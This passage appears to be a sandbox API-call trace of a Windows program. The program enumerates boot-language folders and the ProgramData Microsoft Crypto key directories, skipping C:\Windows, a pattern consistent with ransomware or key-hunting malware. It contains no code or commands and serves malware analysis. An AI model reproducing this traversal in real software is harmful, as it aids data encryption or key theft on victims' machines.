	[0036.956] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0036.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.956] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600ec0
	[0036.956] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.956] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.956] FindClose (in: hFindFile=0x3600ec0 | out: hFindFile=0x3600ec0) returned 1
	[0036.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.956] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0036.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.956] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600ec0
	[0036.957] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.957] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.957] FindClose (in: hFindFile=0x3600ec0 | out: hFindFile=0x3600ec0) returned 1
	[0036.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.958] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0036.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.958] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600ec0
	[0036.958] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.958] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.958] FindClose (in: hFindFile=0x3600ec0 | out: hFindFile=0x3600ec0) returned 1
	[0036.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.958] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0036.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.958] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600ec0
	[0037.008] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.008] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0037.008] FindClose (in: hFindFile=0x3600ec0 | out: hFindFile=0x3600ec0) returned 1
	[0037.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0037.008] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0037.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0037.008] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600ec0
	[0037.009] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.009] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0037.009] FindClose (in: hFindFile=0x3600ec0 | out: hFindFile=0x3600ec0) returned 1
	[0037.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0037.009] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0037.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0037.009] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e91710
	[0037.746] FindNextFileW (in: hFindFile=0x3e91710, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.746] FindNextFileW (in: hFindFile=0x3e91710, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0060.418] FindNextFileW (in: hFindFile=0x3ec2908, lpFindFileData=0x3a3f094 | out: lpFindFileData=0x3a3f094*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0060.418] FindClose (in: hFindFile=0x3ec2908 | out: hFindFile=0x3ec2908) returned 1
	[0060.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ea0058 | out: hHeap=0x4f0000) returned 1
	[0060.418] FindNextFileW (in: hFindFile=0x3ec2b48, lpFindFileData=0x3a3f310 | out: lpFindFileData=0x3a3f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0
	[0060.418] FindClose (in: hFindFile=0x3ec2b48 | out: hFindFile=0x3ec2b48) returned 1
	[0060.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3e90050 | out: hHeap=0x4f0000) returned 1
	[0060.418] FindNextFileW (in: hFindFile=0x3ec2948, lpFindFileData=0x3a3f58c | out: lpFindFileData=0x3a3f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 0
	[0060.418] FindClose (in: hFindFile=0x3ec2948 | out: hFindFile=0x3ec2948) returned 1
	[0060.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3e80048 | out: hHeap=0x4f0000) returned 1
	[0060.419] FindNextFileW (in: hFindFile=0x3ec2b88, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
	[0060.419] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\Crypto") returned 1
	[0060.419] lstrcmpiW (lpString1="C:\\Windows", lpString2="Crypto") returned -1
	[0060.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3e80048
	[0060.419] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x3a3f58c | out: lpFindFileData=0x3a3f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec2948
	[0060.419] FindNextFileW (in: hFindFile=0x3ec2948, lpFindFileData=0x3a3f58c | out: lpFindFileData=0x3a3f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.419] FindNextFileW (in: hFindFile=0x3ec2948, lpFindFileData=0x3a3f58c | out: lpFindFileData=0x3a3f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1
	[0060.419] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned 1
	[0060.419] lstrcmpiW (lpString1="C:\\Windows", lpString2="DSS") returned -1
	[0060.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3e90050
	[0060.419] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x3a3f310 | out: lpFindFileData=0x3a3f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec2b48
	[0060.420] FindNextFileW (in: hFindFile=0x3ec2b48, lpFindFileData=0x3a3f310 | out: lpFindFileData=0x3a3f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.420] FindNextFileW (in: hFindFile=0x3ec2b48, lpFindFileData=0x3a3f310 | out: lpFindFileData=0x3a3f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0060.420] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned 1
	[0060.420] lstrcmpiW (lpString1="C:\\Windows", lpString2="MachineKeys") returned -1
	[0060.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3ea0058
	[0060.420] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x3a3f094 | out: lpFindFileData=0x3a3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec2908
	[0060.420] FindNextFileW (in: hFindFile=0x3ec2908, lpFindFileData=0x3a3f094 | out: lpFindFileData=0x3a3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.420] FindNextFileW (in: hFindFile=0x3ec2908, lpFindFileData=0x3a3f094 | out: lpFindFileData=0x3a3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0060.420] FindClose (in: hFindFile=0x3ec2908 | out: hFindFile=0x3ec2908) returned 1
	[0060.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ea0058 | out: hHeap=0x4f0000) returned 1
	[0060.420] FindNextFileW (in: hFindFile=0x3ec2b48, lpFindFileData=0x3a3f310 | out: lpFindFileData=0x3a3f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0
	[0060.420] FindClose (in: hFindFile=0x3ec2b48 | out: hFindFile=0x3ec2b48) returned 1
	[0060.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3e90050 | out: hHeap=0x4f0000) returned 1
	[0060.420] FindNextFileW (in: hFindFile=0x3ec2948, lpFindFileData=0x3a3f58c | out: lpFindFileData=0x3a3f58c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1
	[0060.421] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned 1
	[0060.421] lstrcmpiW (lpString1="C:\\Windows", lpString2="Keys") returned -1
	[0060.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3e90050
